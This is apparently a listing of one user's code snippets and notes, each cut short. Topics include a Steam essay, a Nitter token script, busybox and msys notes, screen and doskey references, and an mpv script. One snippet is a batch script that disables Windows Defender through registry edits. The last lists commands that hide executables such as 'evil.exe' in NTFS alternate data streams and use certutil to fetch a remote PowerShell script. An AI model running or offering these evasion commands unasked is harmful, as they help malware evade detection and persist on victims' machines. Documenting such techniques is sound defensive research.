garoto

Why I Deleted My Steam Account After 20 Years

Some may know me from over a decade worth of modding broken, under-performing or otherwise inconvenient aspects of PC ports. Dedicated users of Special K also know that I have spent as much time battling problems caused by Steam as I have defects in the games themselves.

My experience with PC gaming goes back a further two decades, to the days of shareware, dialing into a BBS to get game patches / user generated content and tedious DRM fetch-quests involving physical game manuals. I was irritated when Half-Life 2 shipped on PC and required a dedicated piece of software to satisfy DRM and patch the game, but at the time these were minor inconveniences. Valve tried to quell concerns of software preservation with the first of a long series of lies wherein they claimed to have a contingency plan for the DRM scheme reaching end-of-life.

   Steam's DRM scheme has reached end-of-life multiple times without the promised parachute.

In 2002, the cl

garoto

#!/bin/bash
# Grab oauth token for use with Nitter (requires Twitter account). 
# results: {"oauth_token":"xxxxxxxxxx-xxxxxxxxx","oauth_token_secret":"xxxxxxxxxxxxxxxxxxxxx"}
# verified: 2024-11-14

username=""
password=""

if [[ -z "$username" || -z "$password" ]]; then
  echo "needs username and password"

garoto

Make a directory somewhere to be used as base directory for the busybox-w32 stuff itself (eg. C:\Tools\busybox). The busybox-start.cmd script would be useful to start an interactive command line from the desktop.

Busybox-win32 file layout

busybox-start.cmd (see below)

busybox/ (base dir)

busybox.exe (https://frippery.org/files/busybox/busybox.exe)

busybox64.exe (https://frippery.org/files/busybox/busybox64.exe)

garoto

# To generate mitm cert and key:
# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -passout pass:"third-wheel" -subj "/C=US/ST=private/L=province/O=city/CN=hostname.example.com"
# see: https://github.com/campbellC/third-wheel

[package]
name = "http-ytproxy"
version = "0.1.0"
edition = "2021"

garoto

Screen Quick Reference

Basic

Description	Command
Start a new session with session name	screen -S <session_name>
List running sessions / screens	screen -ls
Attach to a running session	screen -x
Attach to a running session with name	screen -r

garoto

@echo off
rem A modified version of the disable defender script from: https://pastebin.com/kYCVzZPz

@echo on
rem ==========================================
rem This section will Disable Windows Defender
rem You can ignore error messages
rem 1 - Disable Real-time protection
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

garoto

msys2 vs msys vs msysgit

MinGW doesn't provide a linux-like environment, that is MSYS(2) and/or Cygwin

Cygwin is an attempt to create a complete UNIX/POSIX environment on Windows. 
MinGW is a C/C++ compiler suite which allows you to create Windows executables - you only 
need the normal MSVC runtimes, which are part of any normal Microsoft Windows installation.

MinGW provides headers and libraries so that GCC (a compiler suite, 
not just a "unix/linux compiler") can be built and used against the Windows C runtime.

garoto

;============================== loading on startup =============================== 
;= create a cmd link with the following target : 
;= %comspec% /k "(doskey /macrofile=%userprofile%\doskey.mac)"
;============================= File listing enhancements ============================
alias_old=IF ".$*." == ".." (doskey /macros) ELSE (IF /I "$1" == "SAVE" (doskey /macros $g "%USERPROFILE%\doskey.mac" & ECHO Aliases SAVED) ELSE (IF /I "$1"=="LOAD" (doskey /macrofile="%USERPROFILE%\doskey.mac" & ECHO Aliases LOADED & doskey /macros) ELSE (doskey $*)))
alias=IF ".$*." == ".." (doskey /macros) ELSE (IF /I "$1" == "SAVE" (doskey /macros $g "%USERPROFILE%\doskey.mac" & ECHO Aliases SAVED) ELSE (IF /I "$1"=="LOAD" (doskey /macrofile="%USERPROFILE%\doskey.mac" & ECHO Aliases LOADED & doskey /macros) ELSE (IF /I "$1"=="EDIT" (notepad %userprofile%\doskey.mac) ELSE (IF /I "$1"=="EDIT2" (notepad2 %userprofile%\doskey.mac) ELSE (doskey $*)))))
alias_=IF ".$*." == ".." (doskey /macros) ELSE (IF /I "$1" == "SAVE" (doskey /mac

garoto

-- autosave.lua
--
-- Periodically saves "watch later" data during playback, rather than only saving on quit.
-- This lets you easily recover your position in the case of an ungraceful shutdown of mpv (crash, power failure, etc.).
--
-- You can configure the save period by creating a "lua-settings" directory inside your mpv configuration directory.
-- Inside the "lua-settings" directory, create a file named "autosave.conf".
-- The save period can be set like so:
--
-- save_period=60

garoto

###Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat